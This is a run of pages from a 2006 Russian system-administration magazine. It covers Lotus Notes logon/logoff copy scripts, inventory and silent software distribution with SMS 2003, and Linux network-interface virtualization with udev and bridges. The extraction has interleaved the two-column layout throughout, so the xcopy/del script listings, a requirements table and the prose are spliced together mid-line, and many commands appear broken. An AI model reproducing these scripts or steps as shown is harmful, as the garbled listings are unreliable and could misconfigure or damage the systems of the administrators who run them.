рабочую станцию скопировать cmd- и vbs-скрипты в стан- logon_lotus.cmd
дартную директорию Logoff-скриптов %windir%\system32\ xcopy "H:\Lotus\Notes\Data\cluster.ncf" ↵
GroupPolicy\User\Scripts\Logoff и активировать только "C:\Lotus\Notes\Data\" /c /h /r /y
xcopy "H:\Lotus\Notes\Data\jobsched.njf" ↵
vbs-скрипт через оснастку Scripts(Logon/Logoff) Group Policy "C:\Lotus\Notes\Data\" /c /h /r /y
в Microsoft Management Console (MMC) (см. рис. 2). xcopy "H:\Lotus\Notes\Data\bookmark.nsf" ↵
"C:\Lotus\Notes\Data\" /c /h /r /y
xcopy "H:\Lotus\Notes\Data\desktop6.ndk" ↵
logoff_script.vbs "C:\Lotus\Notes\Data\" /c /h /r /y
xcopy "H:\Lotus\Notes\Data\names.nsf" ↵
set WSHShell = CreateObject("WScript.Shell") "C:\Lotus\Notes\Data\" /c /h /r /y
WSHShell.Run "cmd /c lotus_copy.cmd",0 xcopy "H:\Lotus\Notes\Data\pid.nbf" ↵
WScript.Sleep 5000 "C:\Lotus\Notes\Data\" /c /h /r /y
xcopy "H:\Lotus\Notes\Data\headline.nsf" ↵
"C:\Lotus\Notes\Data\" /c /h /r /y
lotus_copy.cmd

xcopy "C:\Lotus\Notes\Data\cluster.ncf" ↵ С помощью утилиты BK ReplaceEm [6] в каждый загрузоч-


"H:\Lotus\Notes\Data\" /d /c /h /r /y
xcopy "C:\Lotus\Notes\Data\jobsched.njf" ↵ ный bat-файл пользователя на доменном *NIX-сервере нужно
"H:\Lotus\Notes\Data\" /d /c /h /r /y вставить строку копирования Lotus Notes при логоне, напри-
Требования к клиентской части
мер, «call z:\new_lotus\logon_lotus.cmd»,
где диск Z:\ –общедоступный сетевой
Платформа Windows 98 Windows 2000/ Windows XP Windows NT
ресурс.
Windows 2000 Professional; Windows NT4
Поддерживаемые ОС Windows 98
Windows XP Professional Workstation Lotus_save_lite.cmd применяется для
сохранения ярлыков, локальных групп
Поддерживаемые процессоры Intel Pentium
рассылок и других редко изменяемых
64 Мб минимум, 128 Мб минимум, 64 Мб минимум,
ОЗУ рекомендуется 256 Мб рекомендуется 256 Мб рекомендуется 256 Мб настроек Lotus Notes. Этот файл следу-
или больше или больше или больше ет запускать только при выгруженном
Дисковое пространство Необходимо 275 Мб Lotus Notes.

10
администрирование
lotus_save_lite.cmd

xcopy "C:\Lotus\Notes\Data\bookmark.nsf" ↵
"H:\Lotus\Notes\Data\" /c /h /r /y
xcopy "C:\Lotus\Notes\Data\names.nsf" ↵
"H:\Lotus\Notes\Data\ " /c /h /r /y
pause

Lotus_notes_6_5.lnk – десктопный ярлык для запус-


ка оптимизированного Lotus Notes, поле Target, в котором Рисунок 2. Активация vbs-скрипта на рабочей станции
принимается за «C:\lotus\notes\notes.exe "=H:\Lotus\Notes\
notes.ini"». С помощью этого ярлыка Lotus Notes запуска-
echo f|xcopy C:\Lotus\Notes\Data\pid.nbf ↵
ется так, что он работает напрямую с файлом конфигура- H:\Lotus\Notes\Data\pid.nbf
ции notes.ini, размещенным на диске H:\. echo f|xcopy C:\Lotus\Notes\Data\user.id ↵
H:\Lotus\Notes\Data\user.id
В директории new_lotus создаем поддиректорию echo f|xcopy C:\Lotus\Notes\notes.ini ↵
maintenance, предназначенную для перевода новых поль- H:\Lotus\Notes\notes.ini
call z:\new_lotus\maintenance\del_lotus_c_id.cmd
зователей на новую схему работы и для текущего обслужи-
вания указанного ПО. Эта поддиректория содержит в се- z:\new_lotus\maintenance\sed.exe ↵
-e s/"KeyFilename=user.id" ↵
бе такие файлы: del_lotus_c_id.cmd, new_copy_lotus_h.cmd, /"KeyFileName=H:\\Lotus\\Notes\\Data\\user.id"/ ↵
sed.exe с динамическими библиотеками и notes.ini. notes.ini > notes2.ini
Del_lotus_c_id.cmd – сбрасывает персональные настрой- xcopy /f notes2.ini notes.ini /c /r /y
ки пользователя Lotus Notes на диске C:\ с удалением клю- del /f /q notes2.ini
cd \
чевого файла user.id, после чего можно настраивать кли- pause
ент для нового пользователя.
Sed.exe с динамическими библиотеками – потоковый
del_lotus_c_id.cmd редактор [7], позволяющий модифицировать содержи-
del /f C:\Lotus\Notes\Data\cache.ndk мое notes.ini.
del /f C:\Lotus\Notes\Data\desktop6.ndk Notes.ini – базовый конфигурационный файл для на-
del /f C:\Lotus\Notes\Data\cluster.ncf стройки Lotus Notes под нового пользователя.
del /f C:\Lotus\Notes\Data\jobsched.njf Таким образом, порядок установки выглядит следую-
del /f C:\Lotus\Notes\Data\names.nsf щим образом:
del /f C:\Lotus\Notes\Data\bookmark.nsf  Установите на все рабочие станции logoff-скрипты
del /f C:\Lotus\Notes\Data\pid.nbf и через MMC (Group Policy) активируйте их на каждой
del /f C:\Lotus\Notes\Data\user.id из них.
echo a| xcopy z:\new_lotus\maintenance\notes.ini ↵  Разместите папку new_lotus на общедоступном сетевом
C:\Lotus\Notes\notes.ini ресурсе.
 С помощью утилиты BK ReplaceEm в каждом загру-
New_copy_lotus_h.cmd – копирование персональных зочном bat-файле на сервере домена добавьте вызов
файлов Lotus с диска C:\ на H:\ и модификация notes.ini. Мо- logon_lotus.cmd.
дификация позволяет Lotus Notes напрямую работать с клю-  С помощью скриптов в папках new_lotus/maintenance пе-
чевым файлом пользователя user.id на диске H:\. С помо- реместите персональные файлы пользователей Lotus
щью этого командного файла можно переводить на пред- Notes на сетевой диск каждого из них.
ложенную схему работы как существующих пользователей,
так и новых сразу же после стандартной настройки для них Приведенная схема соответствует общепринятым нор-
клиента Lotus Notes на диске C:\. мам безопасности информационных систем и ни в чем
не ограничивает работу клиента. Надеюсь, что информа-
new_copy_lotus_h.cmd ция найдет у вас практическое применение и избавит вас
cd /d H:\ от бессонных ночей.
md Lotus
cd Lotus
md Notes 1. IBM Lotus Software: http://www.ibm.com/ru/software/lotus.
cd Notes 2. IBM Lotus Notes/Domino 6.5.5 Release Notes: http://www-10.lotus.
md Data
echo f|xcopy C:\Lotus\Notes\Data\bookmark.nsf ↵ com/ldd/notesua.nsf.
H:\Lotus\Notes\Data\bookmark.nsf 3. eQuality Solutions: продукты IBM/Lotus: http://www.equality.ru/
echo f|xcopy C:\Lotus\Notes\Data\cluster.ncf ↵
H:\Lotus\Notes\Data\cluster.ncf products-ibm.shtml.
4. Tommi Tulisalo, Edwin Kanis, Jean-Noel Koval,Cynthia Mamacos,
echo f|xcopy C:\Lotus\Notes\Data\desktop6.ndk ↵
H:\Lotus\Notes\Data\desktop6.ndk Carol Sumner Upgrading to Lotus Notes and Domino 6. – IBM
echo f|xcopy C:\Lotus\Notes\Data\headline.nsf ↵ Redbook, 2004.
H:\Lotus\Notes\Data\headline.nsf
5. Notes/Domino 6 and 7 Forum: http://lotus.com/ldd/nd6forum.nsf.
echo f|xcopy C:\Lotus\Notes\Data\jobsched.njf ↵ 6. ReplaceEm: http://orbit.org/replace.
H:\Lotus\Notes\Data\jobsched.njf
echo f|xcopy C:\Lotus\Notes\Data\names.nsf ↵ 7. SED, the stream editor: http://student.northpark.edu/pemente/
H:\Lotus\Notes\Data\names.nsf sed.

№8, август 2006 11


администрирование

Проводим инвентаризацию сети


средствами SMS 2003

Дмитрий Щербаков
У вас появится больше времени на творчество благодаря Systems Management Server 2003.

П
р одел ав вс е н е о бход и м ы е зуя запросы SQL. После проведенной твах агента на вкладке «General»
действия (см. статью «Устанав- инвентаризации можно централизо- поставьте флажок «Enable hardware
ливаем и настраиваем Systems ванно обновить ПО, установить но- inventory on clients», а расписание вы
Management Server 2003», №7, 2006 г.), вое, а также поставить необходимые можете настроить уже в соответствии
вы получили полностью работоспособ- патчи и заплатки для операционных со своими задачами. Через некоторое
ный сервер SMS 2003 с установленны- систем и программ. Можно для этого время (минут 15) политики на клиентах
ми клиентами, в базу которого занесе- воспользоваться групповыми полити- обновятся, и вы сможете просмотреть
ны ресурсы сети (компьютеры, поль- ками домена, но сделать это сложнее, ресурсы компьютеров сети. Для того
зователи). Теперь можно двигаться так как SMS – это все-таки специали- чтобы ускорить этот процесс, на клиен-
дальше и переходить непосредствен- зированный продукт, рассчитанный те в панели управления запустите ап-
но к инвентаризации. Думаю, мно- именно на такое применение в отличие плет Systems Management и на вклад-
гие согласятся, что это малоприятная от Group Policy. Комплект инструмен- ке «Actions» обновите «Machine и User
процедура. Порой необходимо сде- тов был бы неполным без удаленного Policy» (рис. 2), а затем «Hardware
лать выборку по определенным пара- управления. Но это уже кому как нра- Inventory Cycle». В этом случае инфор-
метрам, чтобы выявить компьютеры, вится. Многие привыкли к небольшим мацию вы сможете просмотреть уже
на которые нужно установить обнов- мобильным утилитам, которые справ- через 3-4 минуты. Собранные дан-
ления или нуждающиеся в модерниза- ляются с поставленной задачей не ху- ные об оборудовании доступны, на-
ции. Многим из вас знакомы требова- же, а порой и лучше SMS. Это не глав- пример, из коллекции «All Systems»
ния руководства, которое хочет знать, ное достоинство этого продукта, и его консоли SMS Administrator Console.
какое программное обеспечение ус- мы тоже рассмотрим. Для этого в контекстном меню по щел-
тановлено на компьютерах пользова- чку правой кнопкой мыши на нужном
телей и не изменялась ли самовольно Проводим нам компьютере выберем «All Tasks →
конфигурация ПК. Правда, это нуж- инвентаризацию Start Resource Explorer». Что интерес-
но не только начальству, но в первую оборудования но, сведения об установленном про-
очередь и самому сисадмину. Все это Чтобы начать процесс, запустите граммном обеспечении тоже находят-
можно сделать в считанные минуты консоль SMS Administrator Console, ся здесь. После сбора информации
с помощью SMS 2003. Если вы знако- «Site Database → Site Hierarchy → об оборудовании эти данные заносят-
мы с SQL, проблем будет еще меньше, имя сайта → Site Settings → Client ся в базу и далее доступны в автоном-
благодаря возможности напрямую об- Agents», где выберите «Hardware ном режиме и при выключенном уда-
ращаться к базе SQL-сервера, исполь- Inventory Client Agent» (рис. 1). В свойс- ленном компьютере.

12
администрирование
Проводим
инвентаризацию
программного
обеспечения
Инвентаризация ПО заключается
в сборе информации из файлов прило-
жений с помощью SMS Software Agent.
Полученные данные включают в себя
сведения о названии продукта, про-
изводителе, версии, а также времени
и дате установки.
Для начала активируйте Software
Inventory Client Agent: «Site Database →
Site Hierarchy → имя сайта → Site
Settings → Client Agents» и поставьте
галочку «Enable software inventory on
clients» (рис. 3). По умолчанию соби-
рается информация обо всех exe-фай-
лах. Обновление информации происхо-
дит аналогично инвентаризации обо-
рудования, однако времени требует- Рисунок 1. Hardware Inventory Client Agent
ся больше. Просмотреть информацию
вы можете там же – через «Resource
Explorer» (вкладка «Software»). В свойс-
твах «Software Inventory Client Agent»
можно указать также путь для поиска
файлов и настроить сбор файлов с кли-
ентских компьютеров (например, отче-
ты после установки ПО). Но так как та-
кие файлы могут иметь довольно боль-
шой размер и клиентов тоже немало,
следует подходить к сбору файлов с ос-
торожностью, ведь это неизбежно пов-
лечет за собой существенное увеличе-
ние сетевого трафика.
Другой способ проведения инвен-
таризации ПО – Software metering.
На первый взгляд он похож на Software
Inventory, но используется для то-
го, чтобы отследить, с какими про-
граммами работает пользователь.
Полученные данные могут содер- Рисунок 2. Обновление политик на клиенте
жать информацию о времени запус-
ка программы, завершения, под ка- Откройте консоль сервера SMS, Properties → Select» и далее выберите
ким именем пользователя она была «Site Database → Queries», и далее «Attribute Class» и «Attribute» (рис. 5).
запущена, и т. д. «Software Metering по правой кнопке мыши – «New → В качестве «Attribute Class» возьми-
Client Agent» находится в контейнере Query» (рис. 4). Что интересно, поми- те, например, «System», а «Attribute» –
«Client Agents» (там же, где «Hardware мо множества предопределенных за- «Name». Поле «Alias» as можно оста-
Inventory Client Agent» и «Software просов можно создать и свои, исполь- вить как есть – «No Alias». Далее пе-
Inventory Client Agent»). Информация зуя WQL (в этом же диалоге). Это да- рейдите на вкладку «Criteria». Создай-
записывается на клиентском ком- ет возможность обращаться сра- те новый критерий, в котором тип ос-
пьютере в файл mtrmgr.log в каталог зу к нескольким объектам, что недо- тавьте «Simple Value», «Attribute Class»
C:\windows\system32\ccm\logs. ступно из графического интерфейса. возьмите «Memory» (окно выбора атри-
По умолчанию выбран объект «System бутов вызывается по нажатию кнопки
Создаем отчеты Resource». Дайте имя запросу, напри- «Select»), а «Attribute» – «Total Physical
Для начала попробуем создать прос- мер test, затем нажмите на кнопку Memory».
той запрос (набор параметров, кото- «Edit Query Statement» и поставьте га- Если, например, нужно узнать,
рый используется для получения ин- лочку напротив «Omit duplicate rows», на каком компьютере больше 1 Гб
формации из базы данных). создайте новый запрос в окне «Result оперативной памяти, то в выпадаю-

№8, август 2006 13


администрирование
вать в отчетах графики, на компьюте-
ре с Reporting Point надо установить
Microsoft Office 2000 или выше. Про-
сматривать отчеты можно с клиента,
на котором установлен Internet Explorer
5.01 SP2 и выше, по адресу http://
имя сервера/smsreporting-код сайта.
Для того чтобы каждый раз не зада-
вался вопрос об имени пользователя
и пароле, надо внести учетную запись
пользователя в группу SMS Reporting
Users.
В контейнере «Reporting» консо-
ли SMS Administrator Console при-
сутствует еще пункт «Dashboards».
В «Dashboards» можно помещать груп-
пу взаимосвязанных отчетов, которым
не передаются никакие параметры. От-
четы располагаются на одной страни-
Рисунок 3. Software Inventory Client Agent це, что довольно удобно при просмот-
ре – недаром Microsoft использовала
для этого пункта очень удачное назва-
ние – приборная доска.

Устанавливаем
программное обеспечение
по сети
В большой сети, даже если требует-
ся установить небольшое обновле-
ние или новую программу на все ком-
пьютеры или на какую-то их опреде-
ленную часть, уходит много времени,
особенно если делать это вручную,
даже при помощи программ удален-
ного управления. Применение груп-
повых политик не так просто и не так
гибко, как применение для этой цели
средств SMS – Software Distribution.
Одно из больших преимуществ SMS
при установке ПО – использование
Рисунок 4. Создание запроса. Шаг 1 сервиса BITS. Он позволяет исполь-
зовать докачку файла при возникно-
щем списке «Operator» надо выбрать Point» поставьте галочку «Use this site вении сбоя при передаче. Эта техно-
«Is greater than or equal to», а в поле system as a reporting point». Теперь пе- логия доступна только для Advanced
«Value» занести 1 000 000 (рис. 6). реходим непосредственно к состав- Clients. При инсталляции ПО средс-
Сохраните запрос, а для его запуска лению отчета: не закрывая консоль твами SMS гораздо легче отследить
из контекстного меню выберите «Run SMS Administrator Console, найди- ход установки на всех компьютерах
Query». те «Reporting → Reports» и выбери- через отчеты об установке или через
те нужный, например «Computers with Software metering.
Используем Reporting low memory». Чтобы запустить этот от- Как обычно, начинаем с настрой-
Point для создания чет на выполнение, щелкните по нему ки сервера SMS: в консоли SMS
отчетов правой кнопкой мыши: «All Tasks → Administrator Console раскройте узел
Для начала настройте сервер на ис- Run → имя компьютера». В появив- «Site Database → Site Hierarchy →
пользование Reporting Point, для шемся окне введите пароль, а в стро- имя сайта → Site Settings → Site
этого в консоли SMS Administrator ке «Mb of Memory» окна отчета – объ- S yste ms». В с в о й с т в а х с е р в е р а
Console выберите «Site Database → ем памяти с меньшим значением ко- на вкладке Distribution Point (рис. 7)
Site Hierarchy → имя сайта → Site торого, нас интересуют компьюте- установите флажок «Use this site
Settings → Site Systems» и в свойс- ры. Для завершения запроса нажми- system as a distribution point» и «Enable
твах сервера на вкладке «Reporting те кнопку «Display». Чтобы использо- Background Intelligent Transfer Service

14
администрирование
(BITS)». Перейдите в контейнер «Client
Agents» и в свойствах «Advertised
programs Client Agent» поставьте фла-
жок «Enable software distribution to
clients». На вкладке «Notification» ус-
тановите по своему вкусу парамет-
ры оповещения об установке про-
грамм. Для первого раза стоит вклю-
чить извещение об установке, но, ког-
да все будет отлажено, лучше его уб-
рать, так как это избавит вас от лиш-
них вопросов пользователей. В кон-
тейнере «Component Configuration»
в свойствах «Software Distribution» ука-
жите учетную запись администратора
домена для «Advanced Clients» и учет-
ную запись администратора, под кото-
рой будет выполняться установка для
«Legacy Clients» (рис. 8). Для уменьше-
ния времени обновления информации Рисунок 5. Создание запроса. Шаг 2
об изменении статуса сервера SMS
на клиентах можно проделать те же
операции, что и при проведении инвен-
таризации оборудования и ПО.

Создаем пакеты
для распространения
Рассмотрим на примере вариант ус-
тановки ПО на все компьютеры се-
ти. Пусть требуется для решения про-
изводственной задачи установить
NetFrameWork. В исходном виде про-
грамма доступна в виде одного са-
мораспаковывающегося exe-файла.
Извлеките из него все файлы, сре-
ди которых будет и msi-файл, кото-
рый позволяет выполнить установку
с необходимыми параметрами, напри-
мер, без перезагрузки и в тихом ре-
жиме. Отмечу, что в отличие от дру-
гих средств сетевой установки, таких Рисунок 6. Создание запроса. Шаг 3
как групповые политики, не требуется
преобразовывать установочный файл на вкладке «Data Source» установи- line» введите команду установки (имя
в формат msi. те флажок напротив «This package установочного файла с необходимы-
Единственное замечание – если contains source files» и укажите к ним ми ключами). Для того чтобы установ-
нужна скрытая от пользователя ус- путь в поле «Source directory». Пакет ка проходила скрытно от пользовате-
тановка, то предварительно надо ли- может состоять и из одного файла, ля, отметьте режим Hidden. На вкладке
бо воспользоваться параметрами ко- тогда указывать здесь его не нужно. «Environment» из списка «Program can
мандной строки, либо перепаковать Теперь раскройте контейнер с вновь run» выберите пункт «Whether or not a
инсталлятор. Далее поместите уста- созданным пакетом и щелкните пра- user is logged on». В таком случае про-
новочные файлы в общедоступный вой кнопкой по «Distribution Points → грамма установки запустится незави-
по сети каталог. Теперь нужно сформи- New → Distribution Points» и выбери- симо от того, зарегистрировался поль-
ровать установочный пакет для SMS. те компьютер в качестве «Distribution зователь или нет. Тип запуска выбери-
Для этого в консоли SMS Administrator Point», установив соответствующий те «Run with administrative rights» и пос-
Console щелкните правой кнопкой мы- флажок. Для того чтобы уже непос- тавьте галочку напротив «Use Software
ши по контейнеру «Packages» и выбе- редственно задать параметры уста- installation account». Для того чтобы
рите из контекстного меню «New → новки новой программы, перейди- полностью исключить любые уведом-
Package» (рис. 9). Введите назва- те к контейнеру «Programs», «New → ления пользователя об установке про-
ние пакета, например NetFrameWork, Program» (рис. 10). В поле «Command граммы, на вкладке «Advanced» ус-

№8, август 2006 15


администрирование
нере «Advertisements» появится новое
уведомление. Просмотрев его свойс-
тва, можно настроить дополнитель-
ные параметры, например, расписание
Schedule. Обычно выбирается пункт
«Assign Immediately after this event:
as soon as possible». Для реального па-
кета можно уже настраивать расписа-
ние по своему усмотрению. Все ли в по-
рядке с пакетом, можно просмотреть
через «System Status → Advertisement
Status → название уведомления и че-
рез «System Status → Package Status →
название пакета». В обоих случаях по
правому щелчку мышкой на названии
сайта выберите «Show Masseges →
All». Также проверить корректность
создания пакета можно, просмотрев
каталог X:\SMSPKGX$, где X – имя
Рисунок 7. Назначение серверу SMS роли Distribution Point диска, на котором находится этот ка-
талог (по умолчанию на С). Не забы-
вайте, что «сразу, как только возмож-
но» не значит, что установка начнется
мгновенно. Для ускорения этой проце-
дуры необходимо произвести обновле-
ние политики на клиенте, как и во всех
предыдущих случаях. Через некото-
рое время (минут 10-15), начнется ус-
тановка. Этот момент вы легко отсле-
дите, если был выбран тип установки
с оповещениями.
ПО устанавливается на основе кол-
лекций, присутствующих в SMS. Но
можно создавать и свои коллекции
и уже на их основе осуществлять рас-
пространение программ. В частнос-
ти, если нужно произвести установ-
ку на один компьютер, то для него со-
здается отдельная коллекция. Проще
всего это сделать с помощью масте-
Рисунок 8. Установка параметров Software Distribution ра, щелкнув правой кнопкой на нуж-
ном компьютере и выбрать пункт «All
тановите флажок «Suppress program Распространение Tasks → Distribute Software».
notifications». Последняя вк ладка программного Для централизованной установки
«Windows Installer» необходима лишь обеспечения обновлений в SMS используется на-
в том случае, когда дистрибутив про- Проще всего для этой цели восполь- бор утилит SMS 2003 Software Update
граммы состоит из нескольких файлов, зоваться мастером. Для этого щелк- Scanning Tools, который можно скачать
среди которых есть файл с расширени- ните правой кнопкой мыши на выбран- с сайта Microsoft. В стандартную пос-
ем *.msi. Если такой файл отсутствует ной коллекции: «All Tasks → Distribute тавку SMS этот набор не входит. Эти
или установочная программа состоит Software». Все значения можно оста- утилиты позволяют обновлять опера-
вообще из одного установочного фай- вить по умолчанию, остановимся по- ционные системы Microsoft, включая
ла с расширением *.exe, то на этом на- подробнее только на шаге «Assign Windows NT 4.0 SP5, а также Microsoft
стройка программы инсталляции за- Program». В случае выбора пункта Office и Exchange Server, создавать от-
канчивается. В нашем случае нажми- «Do not assign the program» программа четы об установке обновлений.
те на вкладке «Windows Installer» кноп- будет доступна для установки (в меню
ку «Import» и найдите файл netfx.msi. «Add or Remove Programs»), но не бу- Удаленное управление
Сохраните изменения, и теперь мож- дет установлена автоматически. Вы- в SMS 2003
но переходить непосредственно к ус- берите пункт «Assign Program». После SMS 2003 не был бы законченным про-
тановке программы. завершения работы мастера в контей- дуктом, если бы в нем не была предус-

16
администрирование
мотрена возможность удаленного уп-
равления. Для этой цели служит на-
бор инструментов SMS Remote Tools.
Если вы привыкли к другим програм-
мным продуктам, таким как DameWare,
возможностей, предоставляемых
SMS, вам будет явно мало. Но основ-
ные действия SMS Remote Tools поз-
воляют производить: непосредствен-
но удаленное управление, перезаг-
рузку удаленного компьютера, чат, пе-
редачу файлов и запуск приложений
на удаленном компьютере. Помимо
этого имеется возможность использо-
вать встроенные средства Windows XP
и Windows 2003: Remote Assistance
и Remote Desktop.
Чтобы воспользоваться «Remote
Tools», необходимо, как обычно в кон-
соли SMS Administrator Console рас- Рисунок 9. Создание пакета NetFrameWork
крыть узел «Site Database → Site
Hierarchy → имя сайта → Site Settings →
Client Agents» и разрешить использо-
вание Remote Tools на клиентах, ус-
тановив соответствующий флажок
в свойствах «Remote Tools Client
Agent». Там же на вкладке Policy мож-
но настроить необходимые разреше-
ния для удаленного управления, а на
вкладке «Notifications» – уведомления
о подключении на удаленном компью-
тере. Как обычно, для ускорения об-
новления политики на клиентском ком-
пьютере можно воспользоваться ап-
летом «Systems Management» в пане-
ли управления и на вкладке «Actions»
запустить «Initiate Action для Machine
Policy Retrieval» и для «User Policy
Retrieval». Для того чтобы воспользо-
ваться «Remote Tools», щелкните пра-
вой кнопкой мыши на имени компью- Рисунок 10. Настройка параметров установки новой программы (NetFrameWork)
тера из нужной коллекции в консоли
SMS Administrator Console, далее из пьютере. Эти пункты доступны только Настройка SMS 2003 – непростая
контекстного меню «All Tasks → Start для «Advanced Clients». Для «Legacy задача и требует максимум терпения,
Remote Tools». В открывшемся окне Clients» в окне «Remote Tools» из па- но время, потраченное на освоение
из меню «Tools» выберите «Remote нели инструментов доступны вкладки и настройку SMS, окупится сторицей.
Control», чтобы начать работу с уда- «Windows Memory» и др. И не раз вы будете вспоминать доб-
ленным рабочим столом. Останавли- Все возможности продукта ком- рым словом этот продукт, когда сроч-
ваться подробно на удаленном адми- пании Microsoft – SMS 2003 невоз- но понадобится вывести отчет по пар-
нистрировании я не буду. Хочется толь- можно описать на страницах жур- ку вычислительной техники по како-
ко отметить, что помимо пункта «Start нала. Но, разобравшись с базовы- му-либо нестандартному критерию,
Remote Tools» из контекстного меню, ми принципами вы можете двигаться а у вас и обычный-то список уже уста-
доступного по нажатию правой кноп- дальше и настраивать его под конк- рел, или понадобится установить но-
ки мыши на объекте выделенного ком- ретные задачи, ведь рассмотренная вое ПО на сотни компьютеров, причем
пьютера, есть еще пункты «Start Event конфигурация не единственно воз- немедленно. Стабильно работающий
Viewer», «Start Windows Diagnostics» можная. Следующий этап, особенно и должным образом настроенный SMS
и «Start Windows Performance Monitor», для крупных компаний, – охват уда- существенно сократит время, затрачи-
которые позволяют получить дополни- ленных филиалов и мобильных поль- ваемое на рутинную работу по инвен-
тельные сведения об удаленном ком- зователей. таризации и обновлению.

№8, август 2006 17


администрирование

Современный Linux-сервер:
виртуализируем сетевые устройства
Часть 2

Алексей Барабанов

Воплотить схему виртуализации совершенно несложно. А дополнительно можно построить


адаптивную систему коммутации.

18
администрирование

В
первой части статьи [1] были предложены пути и де-
тально разобраны принципы искусственной вир-
туализации сетевых интерфейсов. Виртуализация
не просто для усиления названа искусственной. Создание
по специальному сетевому мосту на каждый используемый
интерфейс не является самоцелью. Таким образом, дости-
гаются следующие преимущества:
 Постоянство схемы разметки и наименования сетевых
устройств.
 Независимость настройки сетевых сервисов от состо-
яния реальных линий связи.
 Автоматизация сетевой коммутации.
 Удобство подключения виртуальных серверов.

Если просуммировать вышесказанное, то получится, что


виртуализация позволяет создать независимую от состава Рисунок 1. Настройка безадресного физического интерфейса
оборудования, то есть стабильную сетевую разметку, на ос-
нове которой можно построить внутреннюю серверную ар- с аппаратным адресом 00:14:85:21:1b:2f в процессе его до-
хитектуру, обладающую устойчивостью к отказам и масш- бавления в систему. После выполнения данного правила в
табируемостью. И самое главное, что такая архитектура мо- системе появится устройство не с тем именем, что выдается
жет быть положена в основу многоцелевых и весьма раз- ядром в порядке очередности, а с требуемым, в нашем слу-
нообразных систем. Говоря иначе, таким путем будет раз- чае это будет hweth3 (от hardware ethernet). Теперь должно
работан собственный серверный стандарт. быть уже понятно, что если случайно назначаемое имя совпа-
Но для начала формализуем процедуру виртуализации, дет с одним из уже используемых, то скрипт rename_netiface
так как без этого не получить корректного способа включе- не сможет выполнить свою задачу. И не важно, что данное
ния ее в стартовую последовательность Linux. совпадение может носить временный характер. Чтобы та-
кого конфликта не возникало, используйте нестандартные
«Алгоритм» виртуализации имена. Нам такая рекомендация только на руку!
Вот как представляется последовательность действий по
виртуализации согласно первой части статьи [1]: Второй шаг
1. Переводим все устройства в новый именной ряд с по- Надо сделать все реальные устройства безадресными или,
мощью udev. например, установить им адрес 0.0.0.0, чтобы можно было
2. Меняем их настройку так, чтобы обеспечить включение воспользоваться в настройке и управлении стандартными
в состав сетевых мостов. системными скриптами. Если на этапе установки системы
3. Создаем необходимое число сетевых мостов с требуе- пакетом YaST были уже настроены сетевые интерфейсы,
мыми настройками. то достаточно поправить им адрес, если же нет, то надо со-
4. Коммутируем реальные устройства с нужными сетевы- здавать их сразу с нулевым адресом (см. рис. 1). Для уже
ми мостами. описанного в предыдущем абзаце сетевого устройства
файл параметров будет выглядеть так:
После этого получаем виртуальный эквивалент старой
настройки. Как подобное можно соединить со стандартны- # cat /etc/sysconfig/network/ifcfg-eth-id-00:14:85:21:1b:2f
ми стартовыми скриптами? BOOTPROTO='static'
BROADCAST=''
IPADDR='0.0.0.0'
Первый шаг MTU=''
Отрабатывается при старте udev. Ничего менять не нуж- NAME='Giga-byte CK804 Ethernet Controller'
NETMASK='255.255.255.0'
но, кроме некоторой правки имен устройств в /etc/udev/ NETWORK=''
rules.d/30-net_persistent_names.rules. Как уже было предло- REMOTE_IPADDR=''
STARTMODE='auto'
жено, назовем все реальные устройства как hweth*. Тогда UNIQUE='DkES.QUKldky+OPE'
строка, переименовывающая соответствующее устройство, USERCONTROL='no'
_nm_name='bus-pci-0000:00:0a.0'
например eth3, будет выглядеть следующим образом: PREFIXLEN=''

# grep eth3 ↵ Этот файл создавался с помощью YaST. Но можно его


/etc/udev/rules.d/30-net_persistent_names.rules
SUBSYSTEM=="net", ACTION=="add", ↵ написать и самостоятельно. Более того, поскольку для всех
SYSFS{address}=="00:14:85:21:1b:2f", ↵ интерфейсов эти файлы имеют практически одинаковый
IMPORT="/sbin/rename_netiface %k hweth3"
вид, отличаются лишь комментарием – оператор NAME –
Подробнее о применяемой в настройках udev нотации вы и уникальным номером конфигурации, который легко по-
можете прочесть в [2] и, конечно же, в документации, сопро- лучить из начального, просто меняя в каждом последую-
вождающей пакет udev. Здесь лишь поясню, что в приведен- щем один или более символ на следующий в алфавитном
ной строке задается переименование сетевого устройства порядке, то очень легко автоматизировать эту стадию на-

№8, август 2006 19


администрирование
PREFIXLEN=''
POST_UP_SCRIPT='/etc/fw/fw-on-internet'
POST_DOWN_SCRIPT='/etc/fw/fw-off-internet'

Перечень опций можно узнать из «man ifup». Здесь при-


ведены реальные данные VDSL-соединения. Все опции оче-
видны и тривиальны, кроме двух последних строк, отвеча-
ющих за настройку сетевого экрана. Об этой теме погово-
рим особо чуть позже. Кстати, и для этой операции можно
использовать YaST (см. рис. 2).
Значение в выделенном на рис. 2 поле будет использо-
вано при генерации имени такого виртуального устройства.
В данном случае 0, то есть образуется eth0, и все парамет-
ры будут записаны в файл ifcfg-eth0.
Здесь уже становится понятным, что, хотя мы описыва-
ем последовательность настройки с номером 3, но в стар-
Рисунок 2. Создание виртуального устройства товой последовательности эти действия надо будет выпол-
нить до старта скрипта /etc/init.d/network, иначе конфигура-
стройки. Надо только придерживаться того правила, что имя ционные файлы виртуальных интерфейсов не будут обра-
файла формируется на основании физического адреса ин- ботаны и сетевые мосты не будут «подняты» и настроены
терфейса по схеме ifcfg-eth-id-MAC. нужным образом. Таким образом, реальный номер этого
Подготовленные подобным образом файлы настроек шага скорее будет «один с половиной» или «два без чет-
сетевых устройств будут полностью совместимы с сущес- верти», как угодно.
твующей системой запуска сетевой подсистемы на серве-
ре. И в процессе выполнения скрипта /etc/init.d/network все Четвертый шаг
перечисленные интерфейсы будут «подняты» как безад- Связывание реальных устройств с сетевыми мостами,
ресные и совершенно пассивные с точки зрения возмож- не только можно выполнить в любое время после стар-
ностей передачи трафика. та скрипта /etc/init.d/network, но и, самое приятное, что его
можно независимо от всего остального повторять, меняя
Третий шаг настройки. Как и в шаге 3, на данном этапе придется ис-
Нам потребуется создать набор необходимых сетевых мос- пользовать нестандартный скрипт.
тов. Это первый нестандартный шаг. Нужно сначала создать Итак, у нас вышло, что все необходимое можно реали-
нужное число мостов с помощью команды «brctl addbr eth*». зовать двумя дополнительными скриптами после некото-
Вот тут мы будем использовать удобные и привычные име- рой модификации существующих настроек. Рассмотрим
на сетевых интерфейсов, начинающихся с традиционного подробнее.
префикса «eth». То есть воспользоваться ими мы сможем
лишь тогда, когда все реальные интерфейсы будут пере- Стартовая схема
именованы в иной именной ряд. Если в ходе работы будут Теперь давайте выделим из перечисленного ту часть, кото-
добавляться или меняться сетевые карты, то эту процедуру рую надо повторять при каждом старте, считая, что все не-
